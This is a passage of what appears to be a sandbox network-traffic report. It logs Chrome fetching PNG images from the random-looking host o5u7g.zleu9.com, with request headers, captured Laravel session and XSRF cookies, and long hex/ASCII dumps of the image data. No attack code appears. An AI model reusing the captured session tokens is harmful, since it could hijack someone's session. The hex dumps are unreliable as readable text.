2024-04-23 19:54:12 UTC	1369	IN	Data Raw: 1d 7d 5e e4 aa f7 e5 1d 1e 75 a1 65 80 af 92 26 0c 17 77 ae fd 18 97 c3 2f 9b bd 88 ff 1a d4 6c f9 a2 76 3d 0d 06 ee 22 fe fc aa 7a dd 0a 7c 90 fa 3f e5 3b 08 38 80 d4 cd 3d 93 f8 71 af 7a cd db 97 52 52 f9 8d 25 fe 6b 46 11 75 4c ce 41 aa b8 95 48 ab 4f 1d 05 fc 84 d4 10 1f 7d 7c ea 5e 13 80 d5 97 7c 68 24 49 15 34 84 f8 fb 4c ee 5a 2f eb 08 49 af 75 19 f1 e7 79 ce 3a 36 ef f0 48 b5 72 16 0b 5e 2f ff d3 c4 c7 f6 7d 4d b6 bf 45 28 fe b4 d0 bf 7d 57 3f 7f e7 e5 be 7f a7 97 ea 2d c1 3e 31 3a 80 16 70 06 d0 1b 1d 22 93 df 90 9e ce 95 5a b5 07 a9 c9 ec 24 96 3c 61 f8 01 e0 16 60 95 a2 43 69 a9 55 f1 fe 52 b5 55 b4 b4 74 be 0a 6c 17 1d a2 a2 26 01 e7 02 9b 03 bb 90 9a e5 ea be 4a cd 4c e0 2a 60 7f d2 53 cb 5f 04 1e 09 4d 54 6d 5f 25 4d 18 4a 92 e2 bd 00 dc 0c Data Ascii: }^ue&w/lv="z\|?;8=qzRR%kFuLAHO}\|^\|h$I4LZ/Iuy:6Hr^/}ME(}W?->1:p"Z$<a`CiURUtl&JL*`S_MTm_%MJ
2024-04-23 19:54:12 UTC	1369	IN	Data Raw: 70 60 74 08 49 92 24 49 ea 06 bd a4 2d 02 a4 25 e9 a1 3e ab 6f 7c 9d b4 6c aa b4 b0 bd 48 13 58 5f 06 86 04 65 58 1f 57 e1 88 54 b5 c9 e2 aa 35 61 6a 41 67 e1 b6 49 0b bb 11 d8 06 b8 3d 3a 48 97 9a 0c 1c 0c 7c 0e 98 19 9c a5 4c 36 07 f6 8b 0e 21 49 2a cc 44 e0 e3 c0 bb 80 e7 83 b3 94 d9 37 88 fb 39 59 92 24 49 92 ba 46 15 b7 50 71 ff f3 18 07 90 f6 a0 af ba 47 81 6f 46 87 50 e9 8c 06 2e 07 ae 07 36 08 ce 02 ae c2 11 a9 6a f7 98 aa dd c3 35 df 3e c0 be d1 21 4a e6 3b a4 31 79 31 3a 88 38 9b b4 7d cd 0b d1 41 4a e4 84 e8 00 92 a4 c2 fd 9a d4 48 7a 73 70 8e b2 5a 1f 38 2a 3a 84 24 49 92 24 d5 9d 0d 1c 5a 1a 3d c0 49 d1 21 32 39 0a 98 16 1d 42 a5 d1 03 1c 0e 3c 08 1c 12 9c a5 af 0d 80 0f 46 87 e8 52 55 5b 81 a3 6a f7 70 25 3d c0 d7 a2 43 94 c8 2c d2 53 af 47 Data Ascii: p`tI$I-%>o\|lHX_eXWT5ajAgI=:H\|L6!ID79Y$IFPqGoFP.6j5>!J;1y1:8}AJHzspZ8:$I$Z=I!29B<FRU[jp%=C,SG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49805	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:10 UTC	1145	OUT	GET /oprLHzrLMng80jZ02qEKLjc5gebwyGRZI3hfJd0cfOTOSMcWKHstAxOa6DJMyy9rR893W0bISCPqBNcd237 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3D
2024-04-23 19:54:13 UTC	677	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:13 GMT Content-Type: image/png Content-Length: 29796 Connection: close Content-Disposition: inline; filename="oprLHzrLMng80jZ02qEKLjc5gebwyGRZI3hfJd0cfOTOSMcWKHstAxOa6DJMyy9rR893W0bISCPqBNcd237" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gHMBL2iktl%2FUmJ4EriBOt3k5eMaUTPS2%2BEQwvlGu2PYjZNUTqU10ATx7CRbPc7B5MKHnkboyV52bx9vKMcNzBfDNJ1ZzRy98a6QD52gEpIxMPgYRbdj4R9om%2BNtGDQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8790676bfbc644e2-ATL
2024-04-23 19:54:13 UTC	692	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 fa 00 00 01 2f 08 06 00 00 00 ad e6 03 d5 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 20 00 49 44 41 54 78 5e ec 5d 07 58 53 49 17 3d 88 20 4d b0 80 14 11 54 b0 60 03 b1 8b 58 10 c5 de c5 82 bd ae 7d 7f 5d fb ae 7d ed ab ae ae ae 65 d7 ae 6b ef 1d 7b af 28 2a 56 ec a2 a0 82 82 60 a1 f8 fe 6f 26 10 13 29 69 2f c9 cb cb cc f7 c5 48 32 73 e7 de 73 ef 9b 93 79 6f e6 8e 09 58 61 08 30 04 18 02 0c 01 86 00 43 40 b4 08 98 88 d6 32 66 18 43 80 21 c0 10 60 08 30 04 18 02 60 44 cf 82 80 21 c0 10 60 08 30 04 18 02 22 46 80 11 bd 88 9d cb 4c 63 08 30 04 18 02 0c 01 86 00 23 7a 03 8b 81 b0 1b e1 dc a1 83 07 10 15 15 85 d7 af 5e e1 d5 ab 57 f8 f6 ed 1b 0a 17 76 45 61 d7 c2 28 52 c4 0d d5 ab 57 87 6f a5 4a c8 6b Data Ascii: PNGIHDR/sRGB IDATx^]XSI= MT`X}]}ek{(*V`o&)i/H2ssyoXa0C@2fC!`0`D!`0"FLc0#z^WvEa(RWoJk
2024-04-23 19:54:13 UTC	1369	IN	Data Raw: 21 43 87 22 29 29 09 4f 9f 3e 45 fc 87 0f 39 ca cf 97 2f 3f 8a 16 2b 86 62 c5 8a a1 48 91 22 70 2d 52 04 4e 85 1c 58 ec 68 ec 15 26 80 21 c0 10 60 08 68 1f 01 36 58 f3 80 f1 b0 9f 7f e6 8e 86 86 f2 20 e9 bb 08 33 33 73 0c 1d 3b 59 a9 e7 f1 39 75 1c 11 1e 86 63 07 77 23 ee dd 5b 5e f5 73 75 75 85 9b bb 3b 25 fe 0a de de a8 57 2f 00 76 79 6d 58 3c f1 8a 32 13 c6 10 60 08 30 04 34 47 80 0d cc 1a 62 78 f7 fe 03 ae 43 fb 76 72 2b dc 35 14 49 9b 07 b5 68 87 1a b5 03 d4 12 95 92 9c 8c f0 b0 cb 38 7f 22 14 71 b1 fc 12 7c 76 0a 11 e2 af 5b 2f 00 f5 ea d5 43 f5 6a 55 59 5c a9 e5 39 d6 88 21 c0 10 60 08 f0 8f 00 1b 90 35 c4 74 c9 df 4b b9 c5 7f 2d a2 52 1a 34 68 88 05 0b e6 ab 85 69 f8 cd 5b 5c e7 4e 1d a9 9c 3c 79 2c 30 6a ca 6c 95 9f cb 47 bf 7a 89 db 37 ae e1 c6 Data Ascii: !C"))O>E9/?+bH"p-RNXh&!`h6X 33s;Y9ucw#[^suu;%W/vymX<2`04GbxCvr+5Ih8"q\|v[/CjUY\9!`5tK-R4hi[\N<y,0jlGz7
2024-04-23 19:54:13 UTC	1369	IN	Data Raw: c3 bb 33 67 ce e2 d6 ad 93 9c 2c 17 dc a1 23 26 4e f8 4d 63 1c 97 2e 5b c6 2d 5a b8 90 ca ac 59 27 10 0d 9b b7 c1 97 2f 5f b0 7c fe 0c b9 a4 37 e4 73 f2 bd 21 97 07 77 6e 61 d7 e6 75 72 cf ee 27 4e 9a 84 60 0d ef 8a 30 a2 37 e4 a8 60 ba f3 81 00 23 7a 3e 50 14 9f 0c 8d 09 4a 7c 90 e4 6c d1 87 84 04 2e b8 5d 7b 44 45 49 16 ce ad f8 f7 5f d4 ac 5e 5d 63 1c 65 ef 12 90 63 68 eb 37 6d 85 3d 9b d7 49 67 be a4 af 36 9d 7b a0 82 6f 55 51 40 4e f6 df ef da bc 56 2e 35 ef 88 5f 46 a2 57 cf 1e 6a 63 c9 88 5e 14 a1 c1 8c d0 00 01 46 f4 1a 80 27 e2 a6 6a 0f aa 22 c6 24 47 d3 76 ec da c5 fd 36 7e 3c ad 43 72 bc ff b7 71 23 2f 18 7e 4c fa c4 05 b7 6b 87 e7 cf b3 4e f0 d2 ad ff 30 14 2f 51 4a 54 b0 bf 89 7e 85 5d 9b d6 e2 d5 cb e7 52 bb 7e 1a 30 00 43 06 0f 56 0b 53 46 Data Ascii: 3g,#&NMc.[-ZY'/_\|7s!wnaur'N`07`#z>PJ\|l.]{DEI_^]cech7m=Ig6{oUQ@NV.5_FWjc^F'j"$Gv6~<Crq#/~LkN0/QJT~]R~0CVSF
2024-04-23 19:54:13 UTC	1369	IN	Data Raw: f7 d3 a7 98 7d e3 26 a2 92 92 e8 df e5 0b 14 c0 af be 15 51 cd b1 90 b4 ce da 07 0f 31 e1 8a e4 ee 0f 29 25 ed ec f0 6b 25 5f d4 76 76 92 7e b6 f2 de 7d 4c b9 16 26 fd db df d9 09 fe 4e 4e 70 b0 b4 14 dc a5 15 fb e5 0b 8e 45 bd c2 85 98 18 c1 e9 66 2c 0a 31 a2 37 16 4f 6b cf 4e b5 06 54 ed a9 23 2c c9 b1 ef 3f d0 45 78 b1 b1 b1 54 b1 35 6b d7 a1 72 25 5f 8d 31 cb 6a 36 1f 79 ef 0e ce 1c 3b 48 fb a9 1b d4 0c 7e 75 1b 08 0b 0c 9e b5 89 79 fd 8a ce e2 6f 86 5d 96 93 3c 6a f4 18 74 ef d6 55 2d 8c f9 24 fa 62 79 f3 e2 44 8b 66 99 ac 0e da 7f 00 f7 3f c4 d3 cf 03 0a bb 60 65 dd 3a 72 75 e2 be 7e 85 ef 36 c9 e2 4a 52 c8 6c 7e 4d bd ba 99 e4 14 dd f0 9f f4 b3 21 e5 ca 62 84 77 05 9e 11 e6 4f 5c e8 cb 28 f4 3d 25 39 42 99 15 dd 23 c0 88 5e f7 98 8b ad 47 b5 06 54 Data Ascii: }&Q1)%k%_vv~}L&NNpEf,17OkNT#,?ExT5kr%_1j6y;H~uyo]<jtU-$byDf?`e:ru~6JRl~M!bwO\(=%9B#^GT
2024-04-23 19:54:13 UTC	1369	IN	Data Raw: 08 f3 e7 cd e3 05 a3 9b b7 23 b8 4e e9 ab f8 89 6c 5b bb 7c 68 d2 ba 03 4a 97 f3 96 53 e0 e1 dd db d8 b7 7d 13 e2 3f c4 a1 aa 5f 1d d4 6f d2 12 79 f2 e4 4c 94 fa f2 61 c2 87 f7 94 e0 2f 9f 3b 25 a7 42 ed 6a ae e8 d5 a1 1c 7c cb 4b d6 1f 28 53 4c 5d 46 69 8c 33 23 7a 65 90 66 75 0c 0d 01 46 f4 86 e6 31 e1 e9 ab f1 e0 2a 3c 93 34 d3 28 b8 43 07 2e e2 f6 6d 2a 64 f6 9c b9 68 da a4 31 2f 18 ed 3b 70 80 1b 3d 72 24 95 6b 97 af 00 06 8f 9e 00 33 33 c9 82 34 52 c8 ed ee fd db ff c3 bd 88 9b 70 72 71 45 ab 8e dd e8 bb 50 cb 95 f3 a7 41 56 d4 7f 88 93 64 0d 24 85 2c b6 1b da cb 97 92 bc aa e5 ab 6d 67 58 d9 b8 6a 84 35 23 7a 55 51 67 f5 0d 01 01 46 f4 86 e0 25 61 eb a8 d1 c0 2a 6c d3 54 d7 ee ec f9 f3 5c ff be 7d 69 43 37 37 37 1c 3c 78 90 37 7c d6 ac 5b c7 cd 9e Data Ascii: #Nl[\|hJS}?_oyLa/;%Bj\|K(SL]Fi3#zefuF1<4(C.mdh1/;p=r$k334RprqEPAVd$,mgXj5#zUQgF%a*lT\}iC777<x7\|[
2024-04-23 19:54:13 UTC	1369	IN	Data Raw: b7 ca 4e 56 96 b0 33 37 47 5e 33 73 e4 ce 65 02 8e 03 d2 38 0e 09 c9 c9 88 4f 4e 46 cc e7 cf bc f5 65 8c 82 18 d1 1b a3 d7 f9 b5 59 a3 81 95 5f 55 f4 23 ed c0 c1 43 dc c8 5f 46 d0 ce bd 7d 7c b0 71 c3 06 ad 60 22 7b eb be a8 47 09 3c 7d f4 10 ae 6e 45 d1 ac 5d e7 4c 89 71 48 32 1a 72 9b fe cb 97 cf 08 6c da 0a b5 ea 35 94 03 87 1c 1c 43 d2 e3 92 ef 34 c9 9a 77 eb fa 15 7a 9b 9e 6c ef cb 28 24 5d 2d 21 78 b2 a0 4e 95 72 e4 f4 53 fc 32 55 92 21 cf b7 9c 23 56 cf 6f a4 4a 73 a4 58 d5 86 45 be ea 1a 61 cf 88 5e 25 c8 d5 aa ec 69 67 0b ef 82 05 e1 95 2f 1f 4a d8 d9 c1 c3 ce 16 2e 56 56 c8 65 92 b5 eb 52 39 0e af 92 92 f0 28 21 01 0f e3 13 70 f7 fd 7b 84 c7 c6 e1 71 fa 09 8e 6a 29 61 64 8d 18 d1 1b 99 c3 b5 60 ae 46 03 ab 16 f4 d1 b9 c8 a1 c3 86 71 c7 8e 1e a5 Data Ascii: NV37G^3se8ONFeY_U#C_F}\|q`"{G<}nE]LqH2rl5C4wzl($]-!xNrS2U!#VoJsXEa^%ig/J.VVeR9(!p{qj)ad`Fq
2024-04-23 19:54:13 UTC	1369	IN	Data Raw: 66 68 78 f7 fd 07 fc 7b ef 1e b6 3d fe fe b8 49 3d 0b 0d bb 15 23 7a c3 f6 9f 10 b4 d7 78 70 15 82 11 aa ea 10 fd e6 2d 17 18 50 0f 64 d6 4b ca 96 ad db 50 b6 8c 97 56 b1 b8 7e 23 9c eb 12 d2 99 f6 67 69 69 85 d1 53 e7 ca a9 1d 11 7e 8d 3e 8b 27 04 5e a3 4e 7d 04 34 6a 2e 97 03 9f 24 cc d9 b7 7d a3 e4 56 7f 31 4f 34 6b d7 29 53 0a 5d 52 87 6c bb 23 8b fa 64 4b 5e 1b 73 7c 4c 4c a6 1f 91 5b f5 3b ff 69 a9 2a 64 99 ea 93 85 77 13 e6 9e c3 f9 ab 92 0c 7a 65 4b 16 c4 da 3f 9b c0 2c 77 2e 95 64 a7 99 97 82 b9 7d 4b 5e b0 67 44 af 12 f4 74 cf fb 80 32 65 30 a0 6c 19 8d 57 d2 ab d6 b3 f2 b5 c9 b3 fb bf 23 ee 60 c5 dd 7b ca 37 12 59 4d 46 f4 22 73 a8 1e cc e1 65 80 d5 83 de 1a 75 f9 df a6 cd dc b4 a9 53 a8 8c 7a f5 02 f0 d7 5f 8b 74 82 43 fd c0 40 2e fa f5 6b da Data Ascii: fhx{=I=#zxp-PdKPV~#giiS~>'^N}4j.$}V1O4k)S]Rl#dK^s\|LL[;i*dwzeK?,w.d}K^gDt2e0lW#`{7YMF"seuSz_tC@.k
2024-04-23 19:54:13 UTC	1369	IN	Data Raw: cc cc 0c 26 b9 72 a1 6e 83 a6 a8 5e 3b 00 b9 72 c9 6f 4f 23 5b e5 c8 6a fa d8 b7 92 63 74 49 29 ea 56 08 bd 82 4b a0 55 90 a7 90 e1 ce 52 37 6d dc b2 cf e8 88 11 7d f6 e1 40 08 9e 10 3d df 25 39 25 05 4f a3 62 f0 fa 4d 1c 3e 26 7d 42 4a 4a 2a f2 da 58 c1 3e bf 2d 8a 16 76 42 3e 5b 1b be bb a4 f2 12 53 52 30 fa e2 65 ec 7f fe 5c 2b f2 85 24 94 11 bd 90 bc 61 98 ba e8 9c e8 f4 05 d3 83 c8 48 ae 75 4b c9 fe f1 bc 79 6d b1 6d c7 0e b8 ba 38 eb c5 fe b9 7f fc c1 ad 5a b9 92 ea 62 63 6b 87 fe 3f 8f a1 09 72 64 0b 49 76 43 9e c3 df 8f b8 29 f7 39 59 57 d0 ad 5b 77 38 98 1e 43 ae 54 c3 7a 4e c9 99 58 22 d9 ae 0b ac ac f2 6b 05 77 46 f4 59 5f 5d 2e d6 56 f8 d3 af 26 aa 38 f0 7b e7 e7 65 f4 5b 5c bb fd 00 29 a9 69 d9 5e d6 c5 5c 9d e0 5b b6 24 34 38 4a 21 5b d9 c7 Data Ascii: &rn^;roO#[jctI)VKUR7m}@=%9%ObM>&}BJJ*X>-vB>[SR0e\+$aHuKymm8Zbck?rdIvC)9YW[w8CTzNX"kwFY_].V&8{e[\)i^\[$48J![
2024-04-23 19:54:13 UTC	1369	IN	Data Raw: 6d a3 dd f4 ec d5 1b bf 8c 18 2e 6a 7b b3 c3 33 e9 f3 67 ce 34 f9 1e 4c 93 1f 22 57 ca 53 5e 60 27 47 cc a6 99 97 40 9a 79 69 58 5b d9 09 02 57 46 f4 df 5d 5b b5 50 21 6c 69 50 9f 17 5f ff 28 e4 c0 c9 4b f8 f4 e5 fb 09 88 ca 76 e2 5f a5 3c 1c 0b 66 7f b6 82 b2 72 b2 aa 47 96 0c 04 ed 3f 80 07 1f c4 97 ff 9e 11 bd 26 91 c1 da 12 04 04 31 40 6b c3 15 09 89 49 5c ed 5a 7e 48 49 91 64 cd 5a b7 7e 03 7c 2b fa 88 d6 5e 65 31 fc f4 29 9e cb 95 f2 82 66 d5 33 49 7b 83 5c a9 af 15 37 35 31 05 97 2b 3f be e5 76 c2 b7 dc ce f8 96 bb 08 ac ac ed 05 87 25 23 fa ef ae 0c f6 28 8e d9 d5 ab 29 f6 ad 1a 35 ce 85 45 e0 f5 1b d5 b7 73 b6 ac 5f 13 66 66 b9 d5 e8 51 b9 26 7d 4f 9d 41 e8 cb 97 ca 55 36 a0 5a 8c e8 0d c8 59 02 55 55 70 83 35 5f 38 6d dd be 9d 9b 34 61 02 15 e7 Data Ascii: m.j{3g4L"WS^`'G@yiX[WF][P!liP_(Kv_<frG?&1@kI\Z~HIdZ~\|+^e1)f3I{\751+?v%#()5Es_ffQ&}OAU6ZYUUp5_8m4a
2024-04-23 19:54:13 UTC	474	IN	Data Raw: e0 5b 15 6e c5 24 7b 74 93 93 bf e2 f1 83 7b 08 bb 7c 1e 0f ee dc 92 d6 f3 f6 f1 c1 46 b6 c5 4e 1c d1 aa c0 0a 46 f4 f2 00 cd aa 5e 15 1d 3c 54 df c3 be f7 f8 05 de 9e c7 ab 12 78 7e be 65 e1 5c a8 a0 2a 4d a4 75 ff bd 77 1f 53 af 85 a9 d5 56 e8 8d 18 d1 0b dd 43 c2 d7 cf 20 88 be 73 e7 10 2e 3c 5c 92 c3 da 2e 5f 7e b4 e9 dc 03 ee c5 b3 5f 51 7c ed e2 59 ec dd b6 51 8a 7e a7 ce 21 f8 75 fc 38 83 b0 55 f8 21 23 5c 0d 19 d1 cb fb 46 9d 13 ec 94 d9 1b af ad 08 28 e3 e9 0e f2 52 a7 90 8c 78 24 33 9e 18 0b 23 7a 31 7a 55 b7 36 09 9e fc 36 6d d9 c2 4d 9d 3c 99 a2 62 6a 6a 8a 3e 43 46 c2 d9 d5 4d 21 4a 61 97 ce 61 cf d6 0d d2 7a 5b b6 6e 43 d9 32 5e 82 b7 57 a1 61 ac 42 b6 08 30 a2 97 87 c6 3d af 0d 36 05 d6 87 b3 95 f2 e9 67 95 c9 76 a7 ad 10 54 37 b9 4e 64 7c Data Ascii: [n${t{\|FNF^<Tx~e\*MuwSVC s.<\._~_Q\|YQ~!u8U!#\F(Rx$3#z1zU66mM<bjj>CFM!Jaaz[nC2^WaB0=6gvT7Nd\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49806	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:11 UTC	1132	OUT	GET /uv6N4AFPttA1rsB4OrhISLW7u68mn9vUiv3nGs2KGxWywnndfrLnMDhNBKWNovufref260 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3D
2024-04-23 19:54:13 UTC	670	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:13 GMT Content-Type: image/png Content-Length: 70712 Connection: close Content-Disposition: inline; filename="uv6N4AFPttA1rsB4OrhISLW7u68mn9vUiv3nGs2KGxWywnndfrLnMDhNBKWNovufref260" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y7V3%2Fn6U%2F5sNHmUZQd93nQsa0GOvwG2%2FnqGaIIa3ZNHQALwgfFQn6mtTnUbnh%2FBXtTQtKsu87S%2BaRDTq9bT4tnQtuKBX8wJwnMeo9eLg6qB%2BCQn5lwebysOUTfRuAA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8790676dab3f44eb-ATL
2024-04-23 19:54:13 UTC	699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 8e 00 00 03 83 08 06 00 00 00 11 c6 07 ce 00 00 20 00 49 44 41 54 78 01 ec dd cf 71 e3 c6 b6 07 e0 09 c1 21 38 04 6f 6e 95 97 13 c2 ac df 7b 0b 87 a0 12 34 7b ef ef 7b 55 0a 41 21 78 e7 ed 84 a0 10 74 33 50 06 7e d5 53 38 36 0d 13 10 4e 13 7f 1a e0 37 55 53 4d 89 0d 10 f8 70 9a 22 1b 3f 82 9f 3e f9 47 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: PNGIHDR IDATxq!8on{4{{UA!xt3P~S86N7USMp"?>G @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-23 19:54:13 UTC	1369	IN	Data Raw: 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-23 19:54:13 UTC	1369	IN	Data Raw: 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-23 19:54:13 UTC	1369	IN	Data Raw: 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
